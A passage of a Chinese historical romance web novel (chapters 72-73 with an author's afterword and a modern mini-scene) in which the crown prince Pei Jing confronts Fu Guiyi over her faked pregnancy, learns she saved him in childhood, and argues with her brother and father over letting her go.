镇南王继续道:“你自幼心比天高,这些年的磋磨没教你学会谦卑,反倒傲气更胜一筹。你以为你能当上暗卫首领全靠你的才智功夫吗?” 傅归宜别过脸没反驳,却十分不服气,难道他这些年为裴璟出生入死都是假的吗? “儿子,你很优秀不假,父亲为你骄傲。可世上只有一个裴璟,却可以有很多条毒蛇。你跟在他身边这么多年,他缺人为他卖命吗?他身边哪一个不是有本事的,难道他们没有一个人能坐上你的位置?” 傅归宜低下头沉默了。 诚如父亲所说,裴璟从不缺为他卖命的人。单看季明雪对裴璟的忠心耿耿便知一二,他似乎有种天生的领导力,让众人信服,甘愿为他所用,任他驱使。 包括父亲,包括妹妹,甚至是自己。 傅归宜想到他与裴璟相处的点点滴滴,尤其是他在战事结束后还在不断扩大情报网,名义上是帮裴璟监视全国动态,实则藏有私心想调查自己身世。裴璟装作不知道,默许他的提议,一直大力支持投钱投人。 “还有,你帮裴璟调查你妹妹的事,导致她身陷囹圄,你认不认错!” 傅归宜心甘情愿认下。 “父亲尽可上家法。只一条,别打我的脸,让妹妹看出来她又要自责了。” 镇南王叹了口,拿起藤条猛地往他身上抽。 傅归宜被打得皮开肉绽,忍住没有发出一声求饶。 邓意默默跪在傅归宜旁边,“我也有错,未能护好大小姐,更未能及时发现她的异常,请王爷责罚。” 挨打的人又多了一个。 两人从书房内相互搀扶走出来,相视苦笑,多了几分患难与共的情意。 临出门前,镇南王让他们别再管这件事,他亲自来处理。 月上中天,裴璟满身酒气走到傅归荑的院子里。 季明雪看清来人后放行,心里却忍不住担心,悄悄派人去通知傅归宜。 第72章 旧事 所以,你这不就千里迢迢来抢了么? 月上梢头, 星子黯淡。 傅归荑正坐在房间里沉思,若是不想累及家人,只有跟裴璟回去, 亦或者她想办法离开。 她的目光透过绢纱,月光照在屋外的银甲上, 反射粼粼寒光。 走不掉。 傅归荑暗忖当初自己应该坚持离开。 她的心愿已了, 能一家人重新吃上一顿团圆饭, 此生无憾。 门忽然被打开。 傅归荑打了个觳觫,登时转头望向门口高大的身影。 裴璟一手握住门框, 一手拿着碗,不知里面装了什么东西,背脊微弯, 发冠倾斜,站在门边目光沉沉盯视着她。 隔着近十丈的距离, 傅归荑也能闻见他身上冲天的酒意。 酒。 傅归荑惊得站起身, 四处逡巡能防身的东西,换回女装后袖箭不易掩藏, 再者自己家里也不需要这东西。 “你手里拿着什么东西……”傅归荑退到梳妆台前迅速拿起一支金钗以防御的姿势对准裴璟。 他手里的是什么酒, 难道又是白堕。 傅归荑承认自己怕了, 这东西带给她的记忆太痛苦,她有生之年都不想再尝到一口。 裴璟迅速逼近,转瞬间来到傅归荑身前,胸口离金簪仅有一寸的距离。 裴璟见她脸上除了惊恐便是害怕。 久别重逢, 她连一丝喜悦也没有,一时眼眶发热, 差点落下热泪。 他微微垂眸, 顷刻间将眼角的酸涩眨散, 若无其事地放下碗,低声道:“只是一个空碗罢了。” 空碗。 傅归荑视线扫去,发现里面果然空无一物,心口稍松。 片刻愣神间,裴璟已然夺过她手中之物放下,淡淡道:“小心伤了自己。” 裴璟素来颐指高傲,意气风发,此刻昏黄的烛光打在他的身上,竟有几分失魂落拓之态。 傅归荑心头略有几分感慨,她是何德何能入了他的青眼。 两人一时间俱是无言,气氛莫名沉重压抑。 傅归荑不言,是觉得与他无话可说,裴璟一贯我行我素,他决定之事谁人能更改,谁人敢更改。 裴璟不言,是不知从何说起,更不知道开口后她又会说出何等锥心刺骨之句。 最终,裴璟低声道:“傅归荑,如果我同意你留下这个孩子,你愿不愿意跟我走?” 傅归荑闻言心下一凛,整个人仿佛被这话定住了般,不可置信地看向眼前之人。 他是什么性子,她一清二楚,眼里容不得沙子,对所有物更是有种几乎病态的占有欲。 往日在东宫,宫婢太监除了必要的回话绝不会主动与她多言一句,每每回话也都是低头垂眸,不敢多看她一眼。 她记得自己在避暑山庄换上女装的第一天,有一个洒扫宫女因为觉得新奇盯着她多看了一会儿,直到被人提醒才移开目光。从那天后,傅归荑再没有见过她。 还有那个不小心将画卷扔到她脚下的小太监,也在当日无声无息地消失在院中。 最可怕的是,发生这两件事时,裴璟根本不在场。 因此,现在他能容下这个不属于他的孩子,甚至是提醒他被傅归荑抛弃背叛的罪证,着实令她难以置信。 “我不会伤他,你生下来养在身边,等他年龄到了放出宫,留在京城也好,回苍云九州也罢。”裴璟抬头直勾勾看向她,声音略哑:“都随你,好不好?” 他的长睫上似乎有细微的水珠在颤动,抬手想轻抚她的脸颊又停在半空,倏地垂落下去。 唯有炙热的视线在她面容上反复流连,目光柔软,隐约露出三分痛苦,七分痴缠。 傅归荑沉默片刻,似乎在挣扎犹豫,忽而冷笑一声:“不好。” 裴璟冷下脸,眼里的迷离之态骤散,取而代之的是一片冷漠。 “你知道了,对不对?”傅归荑嗤笑:“何苦在此惺惺作态?” 裴璟仰头哈哈大笑,笑得眼泪都从眼尾沁出,傅归荑就站在原地看他笑得疯意不止,笑得怒气横生。 “是,我知道了。”裴璟声音须臾间冷如寒冰,半眯着眸盯着眼前这个胆大包天的女人,掐住她下巴迫使她扬起,一字一句肯定道:“你根本没有怀他的孩子,你骗我!” 傅归荑听见裴璟确认这件事时,仍有不真实之感。虽知假孕一事瞒不了裴璟多久,却没想到露馅这么快,她一点反应时间都没有。 这里是苍云九州,不是南陵京城,更不是东宫。况且哥哥在回家前用各种理由将此处的暗卫探子全数调离,又篡改掉很多情报信息,裴璟究竟是怎么知道的? 她同意这个计划的最终目的是要告诉裴璟,自己宁可与他人成亲生子也绝不再回去,从而博一个机会。 傅归荑在赌,裴璟这样心高气傲的人绝不会容忍背叛他的女人,无论是身体还是心。 只要他放手,他鄙夷她也好,不屑她也罢。 她已经做好被他折磨的准备。 置之死地而后生,况且她也不是毫无依仗。 裴璟见傅归荑皱着眉,眼神迷惑不解,再次抬手,坚硬的指甲盖抚上她冰冷的脸:“别瞎想,我没有动刑逼谁开口,我只是太了解你……” 裴璟似怜似叹:“方才我进来时,你见到碗的第一时间想到的不是落胎药,而是白堕,是也不是?” 傅归荑瞳孔微怔。 “我白天闹了这么一出,又说出逼你打胎的话。你见我满身酒气拿着东西,下意识想自卫。”裴璟低笑了声:“要当母亲的人,可不是你这般的。更何况你极为重视家人,肚子里若有真东西,你应该本能地护住腹部,而不是拿起武器防御我。” 傅归荑仰头闭眸,深深一吸,胸腹起伏。 没想到破绽在这里。 人在突如其来的变故中反应最为真实。 裴璟的心思实在是缜密非凡,也难怪当初他仅凭一匹马便能抓住自己。 不可否认,当裴璟看见傅归荑自保时他内心畅快不已。他就知道,这个冷心冷情的女人怎么可能在一个月之内就对其他男人敞开心怀,还成亲生子。 “但是,你是怎么知道我看出来的?”裴璟自认为他的演技毫无破绽,他本想将计就计先把人哄骗回宫,这里毕竟是镇南王府,若是硬抢恐伤了和气。 裴璟不想与傅归荑的家人兵戎相见,但要他放开傅归荑也绝无可能。 傅归荑再睁眼时,已然恢复平静,“以你的性子,决计容不下别人的孩子。” 后面的话无需多言,眼神交汇间,一切尽在不言中。 裴璟幽幽叹了声:“知我者,莫若傅归荑。” 傅归荑并未因这句夸奖而感到高兴,冷眼凝视着前方之人,等他还能出什么招。 裴璟俯身凑到她面前,亲昵地用鼻尖蹭了她:“早点休息,明天还要赶路。” “裴璟,你给我滚出来!”傅归宜拖着伤病的身体从床上爬起来,咬牙跑到傅归荑院门口,被季明雪拦下。 “大胆,怎么能直呼殿下名讳。”季明雪对傅归宜挤眉弄眼的,意思是你别太放肆。 “放我进去。”傅归宜才不管这些,他只知道若是在镇南王府还让裴璟得逞,他只能拔剑自刎于傅归荑面前谢罪。 季明雪在推拒他时用仅能被二人听见的声音道:“怎么就你一个人,镇南王呢?” “派人去叫了。”傅归宜压低声音:“先放我进去。” “不行!”季明雪寸步不让,他私下通知已是大罪,若是放人进去他明日必定不得善终。 两人争执间裴璟走了出来,傅归宜瞪大眼睛去看他全身,发现他衣冠整齐,不像是做了什么的模样,心中悬着的大石头堪堪落了地。 “何事喧闹?”裴璟负手而立,冷冷扫了眼对峙的二人。 傅归宜立即调转矛头,张口骂道:“你简直是个猪……” “住嘴!”镇南王急急赶来,拦住傅归宜,向裴璟行礼:“小儿鲁莽,冲撞殿下,望请恕罪。” 裴璟想到出来前傅归荑抓住他的手,闷声道:“别伤害我的家人,我跟你回去。” “无妨,令郎的脾气孤早已习惯。”面对傅归荑的父亲,这位昔日助他良多的镇南王,裴璟心里敬他三分。 “多年未见,太子殿下风采依旧,不如今日与老夫再畅聊一番。”镇南王布满细纹的深邃双眸里透着不容拒绝。 裴璟心道他与傅归荑的事情总要在她父母面前过明路,颔首同意。 临走前递了个眼神给季明雪,季明雪点点头。 等两人走远了,季明雪从怀里掏出一瓶药送到傅归宜眼前:“最好的伤药,要我替你上药吗?” 傅归宜望着眼前熟悉的瓷瓶,默然出神。 经过父亲提点,他趴在床上思索了一整晚,恍然发觉裴璟对他的容忍度真的超出一般人。 尤其是在北蛮皇宫那场大火后,他烧伤了脸,裴璟为此自责不已,再也没对他说过一句重话。 * 镇南王书房。 裴璟与镇南王两人相对而坐与临窗罗汉塌上。 镇南王先把婚礼这件事的来龙去脉说了明白,又拿出一匣子银票推倒裴璟眼皮子下,态度诚恳:“犬子糊涂,这里是动用您私库的钱财,我替他向您赔罪。” 裴璟看也未看,暗道镇南王好手段。 他从一开始就对自己以礼相待,半点不责问傅归荑之事,对傅归宜更是约束管教,反倒令他强硬不起来。 “令郎多年替我出生入死,这点钱财不算什么。”裴璟推了回去。 镇南王笑道:“公是公,私是私,有些时候还是要分清楚。” 裴璟眯眼道:“镇南王有话不妨直说。” 镇南王替他满上热茶,不急不缓道:“阿荑不适合殿下,更不适合深宫。南陵有句古话‘橘生淮南则为橘,生于淮北则为枳’,但不是每棵橘树都能在北成枳,也有可能不适应气候而死亡。” 裴璟:“你是在用她的死威胁我?” “不敢。”镇南王沉声道:“殿下与小女在南陵的纠葛我已经略知一二,过往种种已不可改变。她年少无知,希望您不要跟她一般见识,” 裴璟眼皮下压,明白镇南王是想让傅归荑与他划清界限,淡淡道:“孤还以为今晚镇南王是要问责于孤。” 镇南王握住被子的手瞬间攥紧,叹息道:“父母之爱子,则为之计深远。我今日可以关起门来把殿下狠狠打一顿,再将你扫地出门,颜面全失。但我清楚殿下的性子,若不是自己主动放弃,我能挡你一时,挡不了你一世。” 裴璟深深看了眼面前头发花白的魁梧大汉,世人皆说镇南王是瞎猫撞上死耗子压对了宝才有今日的地位,殊不知他粗犷的外表下有一颗洞悉世事的心。 “孤是不会放弃傅归荑的。”裴璟诚恳道:“我真心喜爱她,愿意以后位聘她为妻,并承诺此生只有她一人,请您成全。” 镇南王没想到裴璟一开口就是后位,听他的口气还只要女儿一人。说实话很难让他相信,帝王的恩宠如那天边的烟花云霞,转瞬即逝,而阿荑不爱争抢的性子如何能适应深宫。 更何况,他强迫阿荑的那些事说明他从未把女儿放在与他同等的地位上,他作为父亲是不可能同意这门婚事的。 镇南王避而不答,说起了傅归荑小时候的事,话里话外都在明示暗示傅归荑是个极有主见之人,他做不了主。他现在只是以一个父亲的身份在告诉裴璟,他希望女儿能按照自己的想法活。 “殿下知道我是怎么发现阿荑有射箭的天赋么?” 裴璟心智极坚,对傅归荑更是势在必得,无论镇南王如何打感情牌岿然不动,但他对傅归荑小时候的事情很感兴趣,耐着性子问:“如何发现的?” 镇南王从怀里拿出一把弹弓,握在手里,语气怀念:“她小时候身体弱到不能下床,她哥哥怕她无聊,闲来无事做了把弹弓,又在房间里挂满大大小小的容器。阿宜告诉她,每射进一颗石子,他便给她带回一份惊喜。” “谁料阿荑第一次用便击中,而后简直弹无虚发。阿宜不得不给她满世界找礼物,还偷偷跟他阿娘哭诉妹妹太厉害了,最后趁阿荑不注意在她的弹弓上咬了个牙印。” 念及以往,镇南王脸上满是慈爱。 裴璟的视线在那把弹弓拿出来后再也无法移开,当听见牙印时瞳孔微张,他颤着手端起热茶抿了口,勉强稳住心神道:“十三年前,宣安十五年秋天,贵部在何处?” 那年是裴璟入北蛮为质的第二年,也是他母妃去世,他孤身返国之时。 镇南王不知裴璟为何有此一问,拧眉沉思道:“好像是在潼城附近。” 裴璟的手抖得更厉害,慌忙放下茶盏,哑声道:“能否借孤一观。” 镇南王注意到裴璟的异常,却没出声询问,将手中的东西递过去。 裴璟接过,粗粝地指尖摸着弹弓上他一辈子也忘不掉的牙印,喉头涌上涩意。 原来是她,原来她没死。 “失陪。” 裴璟心情在瞬息之间大起大落,他攥紧手中之物疯一般地往外跑。 风声猎猎,鸟鸣呦呦,他仿佛回到疲于逃命那日。 那年他打算从潼城入南陵,路上被两个北蛮野兵追杀,是个小女孩用弹弓射瞎他们的眼睛,他才有机会反杀。 她听说自己要回家见母亲最后一面,沉默片刻后将自己的所有财物送了他。 裴璟从她那里获得了水、药、食物,钱财和一匹健康的马,这些救命的东西于裴璟而言无异于雪中送炭。 小女孩警惕心很重,不肯告诉他姓名,然而他从装钱的荷包内侧找到“百里”绣字。 百里族。 但她到底还是小孩子,心思纯净,裴璟三言两语套出她的家人也因北蛮人而失散。 又是一个因北蛮造成的悲剧。 “要是那些凶残的北蛮兵痞全部死掉该有多好。”小女孩的言论总是天真无邪:“没有战争,大家和平相处。我可以和家人平平安安守在一起。” 裴璟无法回答她。 在为她拾起弹弓时摸到上面的牙印,他暗自记下位置与形状,连同小女孩的容貌也印在他心里,尤其是那双闪烁着星子的双眸。 若有机会,他一定会报答她的活命之恩。 后来他在北蛮听说,百里一族被赤焰军全数屠灭,不留一个活口。 那段时间,他利用在北蛮稳固的势力疯狂报复赤焰军,害他们栽了个大头跟,自己却引起他们注意。 为了报复始作俑者,他们设计将裴璟关在大殿里想要放火烧死他,若不是傅归宜察觉,那晚他恐怕九死一生。 裴璟匆匆跑到傅归荑院子门口,屋里还亮着灯,不知道她在干什么。 这一次,他站在门外很久,手抬起又放下,最终轻轻敲了敲门。 屋内没有声响。 裴璟难以形容此刻的心情,他背靠在门上,仰头看向渐渐黯淡的月光,手里的弹弓重逾千斤。 “什么事?”傅归荑打开门。 裴璟一时不察往后倒,傅归荑侧身一步闪开,幸好他及时抓住门框才没有跌下去。 “你……”裴璟话音一转:“你怎么还没睡?” “你想进来就进来,想出去就出去,我怎么睡?”傅归荑不耐烦地甩下一句话往里走,也不管裴璟想怎么样。 裴璟闻言呼吸一窒,刚踏入房门的脚收了回来,在门口张望。 傅归荑在收拾东西。 他扒拉往里看,半晌忍不住出声:“这么晚了,明天再收拾。” 傅归荑动作一顿,没理他,继续手上动作。 要带的东西其实不多,她也不想带家里的东西去南陵皇宫,在傅归荑心里,家里的东西只有在家里,才有家的感觉。 东西收了多久,裴璟便看了多久。 收拾完后傅归荑见他还像个木头人似的站在门口,走过去冷淡道:“你到底有什么事?” 裴璟见她终于肯理自己一下,忙不迭把手中的弹弓递到她眼前,压抑着兴奋说了两个人之前的渊源。 “原来我们很早之前就见过。”裴璟语气很激动,一把搂她进怀里,“感谢上苍,你还活着。” 他的嗓音到最后几乎有些哽咽。 傅归荑面无表情地站在原地静静等他抱够。 裴璟声音温和与之前威胁时她判若两人:“你还记得么,那日……” “不记得了。”傅归荑漠然打断他:“那里是哥哥消失之地,我只要有空都会去附近转悠,救你实属顺手。不仅是你,我还救了很多人,阿意,还有哈穆都是在那附近救下的。” 裴璟猝然住了嘴,怔怔看着她,发现她的神色不似作伪,心中大恸。 她记得邓意,记得蒙穆,唯独不记得裴璟。 “殿下若是想叙旧,恐怕找错人了。”傅归荑声音疲惫,“如果只是这件事,我没什么好说的,我想休息了,或者你想进来一起休息?” “你这是在邀请我吗?”裴璟有些惊异。 “邀请不邀请的,对你来说有什么区别。”傅归荑自嘲道:“在我家里你都能如入无人之境,你若是想进来,我拦得住么?” 裴璟见她这般认命,心中非但没有欣喜,反倒生出几分惊惧。 只因傅归荑完全失去了往日那般抗争之心,她眼眸黯淡,似乎对未来毫无期待。 “傅归荑,我对你不好么?”裴璟疲惫不堪地靠在门边,语气软了几分:“为什么你不愿意跟我回去?” 傅归荑转过身来,定定看着裴璟:“你的对我好,就是强迫我做我不愿意的事情?” 裴璟语塞,慌忙辩驳道:“那次是……是我的错。我以后绝不再犯,我向你起誓,若有……” 傅归荑打断他:“我对你的以后没有任何期待,你不必做样子给我看。我回答你的第二个问题,因为我想跟我的家人在一起。” 家人。 裴璟心中悲凉,她从未把他当做家人,但他已经把傅归荑当做生命中不可缺失的部分。 “我也想与我的家人在一起。”裴璟痴痴凝视傅归荑:“你走后,东宫很黑,也很冷。” “黑你便多点几盏灯,冷就将地龙,熏笼燃上,再铺上厚厚的棉被。” 傅归荑冷漠不近人情的话扎的裴璟鲜血淋漓,他艰涩道:“那没有你,又该怎么办?” “所以,你这不就千里迢迢来抢了么?” 她这般讽刺的语气,像是在说他裴璟是土匪强盗之流,完全否认他之前所做的一切努力。 裴璟只觉心如刀割,哀哀欲绝,他神色怆然问出他不屑却深藏于内心的问题。 “傅归荑,你可曾有那么一瞬间爱过我?” 作者有话说: “橘生淮南则为橘,生于淮北则为枳”——《晏子春秋·杂下之十》 就是狗血又土的剧情,嘿嘿嘿。 一下子收不住,只能明天再继续虐男主了。 然后大家对男主的实力可能没有那么具象化,以北蛮作为参考,女主家是游牧部落中的顶级战力,但是面对北蛮依旧只能逃,男主是灭掉北蛮的人,他就是全书天花板级别的存在。 不是因为他是南陵太子所以权势滔天,而是因为他的心智能力,他才成为了权势滔天的南陵太子。 之前为什么一直追杀蒙穆失败只是因为男主觉得他是个不碍事的苍蝇,有机会就拍死,不会特别费心思。 他心在治理天下,想建设女主理想中的家人不必生生分离的太平之世,这点也体现在治水那段剧情,男主为什么会下去救人。 只有顶级掠食者才配得上我女儿。 暂定的正文番外其中之一就是男女主初遇。 —————————————— 现代小剧场(我也忘记是几了) “哥哥,我跟你说一件事。”傅归荑回到家坐在沙发上。 沙发另一边,傅归宜正在看公司报表,他虽然与妹妹同龄,但早就开始熟悉家里的业务。 “什么事。”傅归宜目光还在报表上,声音却很耐心。 “今天有人跟我表白。” 傅归宜拿笔准备签字,无意识重复道:“有人跟你表白……什么,谁跟你表白?” 下一刻,他炸毛地跳了起来。 傅归荑有点怕,她抱住抱枕放在胸前,讷讷道:“我高中同桌,叫裴璟。” “这名字真难听。”傅归宜无脑骂。 他又对着自己涉世未深的妹妹循循善诱:“你现在还小,先不要考虑谈恋爱的事情,小心被骗。” “等等……”傅归宜目光犀利地看着妹妹:“你不会答应了吧。” 他心里已经想了一百种方法让那个叫裴璟的小子与妹妹分手。 “没有。”傅归荑摇头:“我说考虑一下。” 傅归宜眉头舒展,冷笑道:“有什么好考虑的,直接拒绝。” 傅归荑没立刻答应。 “怎么,你不会真喜欢他?”傅归宜眼睛都直了,在他没看见的地方居然被不知从哪里来的野小子攻略了自己的宝贝妹妹,简直不能忍。 “也不是……”傅归荑讷讷道。 傅归宜决定快刀斩乱麻,他心平气和地与傅归荑商量:“等你毕业了,哥哥再给你介绍男朋友好不好?知根知底最重要,小心被骗割肾。手机拿来,我替你拒绝他。” 傅归荑觉得裴璟还不至于惦记她的肾,毕竟她身体不好,肾估计也不行。 但是她还是乖乖把手机交上去了,傅归荑确实不太会拒绝人。 当晚,火急火燎等了一天的裴璟终于等到了心心念念的人发来消息。 “你是个好人,但我们不合适。祝你早日找到更好的下一个。” 裴璟手机一摔,气得一晚上没睡觉。 第73章 原谅 你得先尝尝我妹妹受过的所有伤和痛,才配谈原谅。 “爱过。” 傅归荑大方承认, 她没有一丝犹豫的回答令裴璟生出飘飘欲仙不真实之感。 然而很快,他意识到她话中的深意。 爱过,是已经过了, 不复存在。 “是什么时候……”裴璟眼眶湿润,眼前一点点充盈着泪雾, 他原来曾经拥有过傅归荑的爱。 “我不记得了。”傅归荑冷然道:“但我可以告诉你什么时候不爱。” “什么时候?” 裴璟听见自己的声音飘忽如空中柳絮, 无处着落。 傅归荑的声音一如既往的清冷:“在你一而再, 再而三否认伪造王沐然就是我哥哥的时候。” 裴璟忽然想到那段时间,傅归荑问过他好几次, 王沐然真的是傅归宜吗? 原来她得知真相后还给过他机会,是他没有抓住。 裴璟强忍着哽咽听完,涌起巨大的悔恨, 淹没四肢,五脏六腑, 喉咙, 乃至口鼻。 他像个溺水之人,窒息感包裹全身密不透风, 更绝望地是他亲手掐断了唯一的逃生出口。 “那我要怎么做, 才能让你原谅我。”裴璟嗓音无力, 他没有也不敢说出口,他更想问傅归荑要怎么才能重新爱上他。 傅归荑走到裴璟面前,注意到他眼眶发红,双鬓染了白色, 叹了口气。 要说对他没有怨恨,是假的, 傅归荑自认不是真的活菩萨, 不可能对伤害自己的人轻飘飘地说一句没事便当一切从未发生, 抹去所有痛苦的记忆。 但若说只有怨恨,也是假的。扪心自问,裴璟待她实在谈不上苛责二字,平溪猎场的以身相护,抚城的舍身相救,还有将自己从傅归宜自责的枷锁中解救出来,桩桩件件,她也不是个没有感情的木偶泥塑。 两人的爱恨纠葛又怎么能轻易地用一句原谅或者不原谅来终结。 傅归荑不太擅长处理这种感情问题,她小时候想得最多的是怎么活到明天,哥哥失踪变成如何做好他,找回他。 她给自己安排的归宿是找一处山清水秀的地方静静度过余生。 傅归荑刚想开口,另一道声音突兀地横叉进来。 “让你也常尝尝我妹妹受过的所有委屈,才能谈‘原谅’二字!” 傅归宜一直派人盯着裴璟的动向,发现他再一次不管不顾地闯入傅归荑院子,下人还说他的脸色很奇怪。 傅归宜二话不说直接拿了短刀赶过来,这一次他学聪明了,没有从季明雪守的正门闯,走到后面翻墙进来。 他打不过季明雪,他手下的兵可不是自己的对手。 裴璟眼里的氤氲雾气顷刻间散去,目光冷淡望向旁边人,“你真是越发没有规矩了。” “这是我家,你跟我谈规矩?”傅归宜满脸怒容:“我父亲和我是绝不会同意这门婚事的,你死心吧!” 裴璟眸中戾气横生,若不是傅归荑在场,他定要叫傅归宜吃点苦头。 他私自带傅归荑逃跑的事情自己还没跟他算账。 教唆她装疯、火焚假死,日夜不眠千里奔波,桩桩件件都在挑战裴璟的底线。 那段时日傅归荑为了装疯瞒过他,硬是撑着晚上不睡觉,白日也故意缩减食量,短短几日瘦了一大圈,新做的衣裳穿上空荡荡的,腰肢几乎不足他一臂长。 裴璟看得心里快急疯了,费尽心血好不容易才养好的身体,哪里能挨得住这般磋磨,最后他不得不病急乱投医,同意了傅归宜提议的驱邪之术,这才给了两人可乘之机。 还有火焚假死一事,稍有不慎傅归宜便可能真的死亡。裴璟心里冷笑,他死就算了,别害得傅归荑伤心难受。 再者他们不眠不休逃回苍云九州,为了不引人注目,一路上走得定然都是小道。山路崎岖,稍有不慎便有可能粉身碎骨,万一还遇上流窜山贼亦或者黑店。 裴璟想想都一阵后怕。 诚然,傅归荑绝不是菟丝花,傅归宜作为暗卫首领也不会被人轻易算计,他们两人出事的风险极低。 然而在裴璟心里,傅归荑就像是瓷片做的,稍有不慎便会损坏,再小心对待也使得。 裴璟浑身上下都是无坚不摧的铠甲,唯有心尖上的傅归荑是软肋。 “哥哥,”傅归荑看出裴璟面色不善,立即阻止他继续往下说:“我累了,想休息。明日一早我就不去跟父亲母亲告别了,往后你好好照顾他们。” 傅归宜握刀的手止不住地发颤。 傅归荑不想成为两人争论的焦点,直接关门。 裴璟站了一会儿,也离开了,徒留傅归宜一人在原地。 事情已有定论,傅归荑反倒睡得踏实,等她醒过来时已经日上三竿,阳光刺眼,照在她眼皮上恍了神。 不是说今早上走吗? “怎么回事,他们不是说清晨就走?” 镇南王扯下蒙脸的黑布,趴在草丛里,他身后跟着三千人马埋伏在裴璟回京的路上。 傅归宜也觉得奇怪,裴璟向来说一不二,难道他看穿了父亲的计划,换了一条道? 一想到这种可能,他立刻派人回去探查究竟。 傅归宜皱着眉头,抬眼往向天空镇南王府的方向,留在府里的人也没有发信号表示他们离开了。 到底出了什么变故? 傅归宜心里不安,焦灼地等待着。 他与父亲计划在城外截下裴璟一行人,再送走傅归荑,无论如何也不能让他把人带走。 傅家虽不想惹事,却也不是真的怕事。傅归荑是他们的掌上明珠,岂是裴璟说带走便拿走的。 镇南王先礼后兵,同时也为了降低裴璟的戒心。他的宝贝女儿,他怎么可能眼睁睁看着被人欺负还不还手。 他已经决定,今天截下人的时候还要套裴璟麻袋,狠揍一顿。 杀了他不现实,打成重伤,让他卧病在床几个月还是可行的。 他们有两块丹书铁券,足够揍他两次。 镇南王换装并不是觉得裴璟看不出来他们是谁,而是在告诉裴璟这件事是家事,不是国事。 苍云九州镇南王府截杀南陵太子和父亲去拯救被迫屈从的女儿,是截然不同的两种性质。 天下好不容易迎来太平,双方都不想再起冲突,镇南王更不会让女儿承受这么大的罪过,因此他在王府时才避开与裴璟的冲突。 那句想把他千刀万剐是真心的。 “你说他在干嘛?”傅归宜听到探子回话后一头雾水,差点以为自己听错了。 “太子殿下今日确实没带大小姐离开,他在院子里烤鱼。” 傅归宜暗忖裴璟又在发什么疯,他好端端的烤什么鱼? “等等,那是什么?” 傅归宜发现有一匹快马飞速入城,他身上穿着特制衣衫,胸口写了个大大的“急”字。 从京城来的八百里加急快件。 * 镇南王府。 傅归荑起床坐在梳妆台前挽发,在家时当了太久的男人,她不习惯用丫环。 忽然从大门口传来一阵焦香味。 她轻动鼻尖,想不出这是什么东西。 咚咚咚的敲门声很有规律,傅归荑放下紫檀木梳,走过去开门。 “我记得在抚城时答应过你,有机会给你烤鱼吃。”裴璟端着托盘,上面装了条外皮金黄酥脆的鱼,散发着诱人的香气,还有零星的几点葱绿点缀,看上去很是不错。 傅归荑觉得自己有点饿了。 “我可以进去吗?”裴璟站在门外,目光灼灼等着她的回答。 傅归荑垂眸思考了片刻,侧身请他进来。 裴璟笑着说了句打扰。 “那次回去后一直在忙,也没时间。”裴璟歉疚地笑了笑,夹了一块最嫩的鱼肉放进她碗里,挑好刺放到傅归荑碗里,“希望手艺没有退步,尝尝看味道怎么样?” 傅归荑吃下后,中肯地评价:“不错。” 裴璟笑意更甚,专心为她挑鱼刺。 裴璟将最后一块肉放进她碗里,自嘲一笑:“在你心里我肯定不是个好人,但至少,我希望做个守诺之人。” 傅归荑动作一顿,而后默默吃完。 傅归宜急冲冲闯进来的时候,两人已经把那条半臂长的鱼分食得只剩下个头尾。 “你们……在干吗?”傅归宜闻着熟悉的味道,神色更茫然了。 傅归荑正色道:“在吃鱼。” 傅归宜心想,他难道不知道是在吃鱼吗? 裴璟在他闯进来的时候脸上笑容淡了下来,拿起手帕擦了擦嘴和手,温声对傅归荑道:“你喜欢吃,我明天再给你做。” 他直起身,微扬下颌示意傅归宜跟他走。 傅归宜白眼一翻,他疑惑地望向自己的妹妹,傅归荑冲他摇摇头示意裴璟并没有做什么事,他才放心跟出去。 裴璟径直走到傅归宜的房间,这里与东宫西厢房一模一样,他很自然地坐在自己习惯的位置。 傅归宜骂骂咧咧道:“你是真不拿自己当外人。” 裴璟扫了一眼,淡淡道:“昨晚上出去了?” 傅归宜眼睛一转,不承认。 裴璟兀自给自己倒了一杯茶,气定神闲道:“爬在草丛里被蚊虫叮咬的滋味不好受,想在半道上截人,凭你们这点人,拦得住我么?” 傅归宜闻言悚然一惊,他完全不知道计划是什么时候暴露的。 “孤已经传讯,令滕州驻军前来接驾。”裴璟抿了口茶:“那里的守军有多少,你心里清楚。” 傅归宜的神色变得凝重,滕州之前作为和北蛮对抗的第一道防线,守军十万。 裴璟放下茶盏,叹道:“我不想与你们兵戎相见,更不想让她夹在两边为难。宣安帝驾崩了,我要立即回去处理,等我登基,再来苍云九州迎娶她。我们各退一步,她好不容易回家,就在镇南王府多住几个月,往后我也会安排她回来省亲。” “你一定要她在南陵皇宫里郁郁一生么?”傅归宜几乎的嘶吼地说出这句话:“裴璟,你怎么这么残忍,她到底哪里对不起你。” 裴璟拍案而起,厉声道:“若不是你故意诱导我,让我错失坦白之机,又怎么会闹到今天这个地步!” 傅归荑的爱何其难得,裴璟穷尽心血才堪堪走近她的心,一念之差让他后悔终身。 傅归宜丝毫不惧:“是我让你伪造傅归宜的死亡吗?若你不是心里有愧,怎么会被我误导?你总以为自己能掌控一切,她就活该被你蒙在鼓里,耍得团团转吗!” 裴璟指着傅归宜,目光阴戾,胸腹剧烈起伏,最后他闭了闭眼,垂落手叹息道:“你说的对,一切的起因皆是我的错。” 傅归宜没想到他那么快认错,肚子里骂他的话一下子卡在喉咙里,发不出声。 气氛陡然凝滞,曾经无话不谈的二人此刻对坐无言。 傅归宜察觉裴璟态度松动,他摘了面具,露出被火焚烧的上半张脸,狰狞可怖。 “裴璟,你救我一命,让我平安长大能与家人重新团聚,我很感激你。我用一张脸,半身伤,十年为你卖命,再加上一张丹书铁券,够不够换你放过她。” 裴璟抿紧唇,没有说话。 傅归宜继续道:“我傅家用骑术和连弩,还赔上她的清白之身,够吗?” 裴璟眉头紧皱,五指死死扣住竹桌边缘,指节发白。 傅归宜:“我傅家可以不当这个镇南王,用世袭爵位来换她自由之身,够不够!” 说到最后,傅归宜已然是声嘶力竭,几乎要落下泪来。 “住嘴!”裴璟脸色铁青,拿起瓷杯用力一掷。 傅归宜顶着裴璟摄人的威压,双手比划来了不到半臂距离,哽咽道:“她生下来的时候只有这么点大,母亲说还不足我的二分之一。我们全家把她当宝贝供着,养着,每天都提心吊胆怕她活不过明天。她从小早慧,好像知道自己身体不好,不会像其他小孩那样吵着闹着要出去玩,每天都安安静静地待在房间里,害怕给别人添一点麻烦。” “她这么努力活着,为什么偏偏要遇见你。” “你可以用我们所有人的性命威胁她,她一定会嫁给你,但是她不会快乐的。你们不合适,放过她吧。” 裴璟忍无可忍道:“你怎知我们不合适!” “你对她做的桩桩件件,都是她在适应你,你何曾尊重过她的想法?” 裴璟胸口的怒意翻滚不止,冷眼看着当年被他救下来的人,仅凭下半张脸无法完整还原出原貌。 